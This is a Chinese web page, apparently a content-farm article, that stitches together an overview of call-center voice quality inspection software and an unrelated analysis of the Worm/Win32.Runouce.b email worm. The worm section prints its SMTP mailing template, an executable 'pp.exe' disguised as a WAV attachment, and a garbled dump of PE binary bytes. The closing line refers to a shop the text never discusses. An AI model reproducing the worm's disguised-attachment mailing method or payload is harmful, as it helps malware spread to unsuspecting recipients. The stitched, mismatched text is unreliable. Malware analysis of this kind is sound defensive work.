智能语音质检都有什么功能?(Worm/Win32.Runouce.b[Email]的网络行为)
智能质检系统包括语音识别、语音转写文本、质检规则库管理、关键词管理、质检任务管理、告警管理、评分管理、录音筛选管理、统计分析等核心功能模块,AI-QAA支持静音检测、情绪检测、语速检测、通话时长检测、抢话检测等。
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文章目录:
一、智能语音质检都有什么功能?
智能质检功能通过更加多元化的自定义规则,实现对录音或本文对话内容的智能分析,帮助企业快速全面发现服务中的问题,提升服务质量,优化服务策略。
智能语音质检功能旨在通过质检机器人帮助呼叫中心系统的质检员是自动完成对录音的调听和打分,从以前2%-5%的质检率提升到20%-50%,同时质检系统提供大数据建模,分析功能,可以帮助企业经营者从中发现客户的关注焦点、产品焦点、业务焦点、问题焦点、服务焦点等,从而可以提升企业的经营管理水平以及业务营销水平。
智能质检系统包括语音识别、语音转写文本、质检规则库管理、关键词管理、质检任务管理、告警管理、评分管理、录音筛选管理、统计分析等核心功能模块,AI-QAA支持静音检测、情绪检测、语速检测、通话时长检测、抢话检测等,可以对座席员的声音和情绪进行智能检测。
智能语音机器人融合了云计算、语音处理、商业智能和互联网技术,以实现语音数据高效转写、分析统计和数据挖掘等广发应用为目的,面向语音数据密集型行业和客户,提供数据处理所需资源、能力和应用服务的云平台,能够提升企业的客服质量,助力企业营销。
智能语音质检系统建设主要有三种模式:
1、公有云:企业无需购买机柜、服务器、网络设备、也无需准备机房,智能语音质检系统部署在云服务器上,企业只需具备上网条件,就可以使用专业的智能语音质检系统,还提供7*24小时的运维保障。
2、私有云:企业准备好机房、服务器、网络设备,直接将质检系统安装部署在企业的自有机房里,智能语音质检系统数据都储存在企业内部,由企业自己的运维人员负责维护管理。
3、混合云:企业呼叫中心系统采用云平台,质检系统建立在其云平台上,企业只需准备质监系统所需要的服务器,机柜空间,网络资源即可,质监系统则由企业自行进行维护。
二、Worm/Win32.Runouce.b[Email]的网络行为
协议:TCP
端口:139 445
描述:通过以上端口发送恶意邮件,邮件内容:
HELO btamail.net.cn
MAIL FROM: imissyou@btamail.net.cn
RCPT TO:
DATA
TO:
SUBJECT: A-738DF22C9CA04 is comming!
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经解密得到数据: HELO btamail.net.cn
MAIL FROM: imissyou@btamail.net.cn
RCPT TO:
DATA
FROM: A-738DF22C9CA04@yahoo.com
TO:
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
Content-type: multipart/mixed; boundary=#BOUNDARY#
--#BOUNDARY#
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name=pp.exe
Content-Transfer-Encoding: base64
Content-id: THE-CID
MZP ?@ ????L???This program must be run under Win32 $7PEL ?饨?? D @ ` 0N@ CODE `DATA @?idata 0 @?reloc?@? @?%00@(08000F0F0KERNEL32.dllSleep 0`桄 ?t$ ?ah @瞄Y? ????f?MZu??< 䦆ox 颡] ??谟?@? ? GetProcAddress^3杀 ???骢]$ ??C?] ? ??禳???? ?????外?$?USER32.DLL?婶??????外?$?ADVAPI32.DLL?婶??????外?$?MPR.DLL?婶??????外?$?WSOCK32.DLL?婶??????外??ChineseHacker-2jj? ? 缨 涕? j P? ? ????`?D腼?? ? ?? ?? ?B-???? 鉴 楮 ?B;???? ? 梏 ???枸 ?B-???? ? 枭 ?B;???? ? ??h`P?d??\V?^?Net Send * My god! Some one killed ChineseHacker-2 MonitorXjP? ?Y枭 ? 殍_????????? ????& ?FD??f ???PTjPPjj?t????h`P?dPjS?xX?? 涕V?^胭Y? 柁?? ? T桁 ?? W?p?? ?罔? jjS?XjxPW?8S?@a陕 槿`? ?? W? ?4 ?< ?????PE ??? ? I??恹;???G(+C r# C jP? ? --#BOUNDARY# MIME-Version: 1.0 Content-Type: audio/x-wav; name=pp.exe Content-Transfer-Encoding: base64 Content-id: THE-CID X??? W? P? ????E? a?E???`??ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/^?} ?U 菱 3?拦 燕S? ?Jt C怙? ???轿余? ????M?=??廓a?E??QRV?u ?M ?蚜 ? 鲅?谊? ?ZY陕 XQ???g?dg?????????dg?YY??? Z瞄?柩??衢Y?E ??3郎?? MZP ? @ ?
¬???L???This program must be run under Win32 $7?PE L ?饨 ?? @ P 0 N @ SCODE `DATA @ ?idata 0 @ ?reloc @ @ P???%00@??0 80 00 F0 F0 KERNEL32.dll Sleep? 0???G 缨 P?? PS?8X腱 ?G?QP?? PS?8XY怦胝瞄? 3??? ??f?鲳???? B??麒 发送消息?企?Xj?缨W???卵wXj S?缨B????_? Th j S?? ? Th j S?F?? ? 陕 ?B$?Xh??????] ? ??Runonce^h ?骢nyXTWjjVS?X??nyXjjj jS??A?yXh Wj jVS?胙槿???X? jh?¬?缨,??存wXj??Y? ??? *u?Xj Q?陕 槿`P L$⺋? ??P ?`?埘 ??销ff?@ ?u ?} ?M 帖a陕 槿`?E jPPj?恒陕
解密之后发现该内容为PE可执行文件,病毒调用系统自带的Outlook Express发送恶意邮件,病毒利用发送恶意邮件来传播自身。
注:%System32%是一个可变路径。病毒通过查询操作系统来决定当前System文件夹的位置。
%Windir% WINDODWS所在目录
%DriveLetter% 逻辑驱动器根目录
%ProgramFiles% 系统程序默认安装目录
%HomeDrive% 当前启动的系统的所在分区
%Documents and Settings% 当前用户文档根目录
%Temp% \Documents and Settings\当前用户\Local Settings\Temp
%System32% 系统的 System32文件夹
Windows2000/NT中默认的安装路径是C:\Winnt\System32
windows95/98/me中默认的安装路径是%WINDOWS%\System
windowsXP中默认的安装路径是%system32%
到此,以上就是小编对于aiqaa旗舰店的问题就介绍到这了,希望介绍关于aiqaa旗舰店的2点解答对大家有用。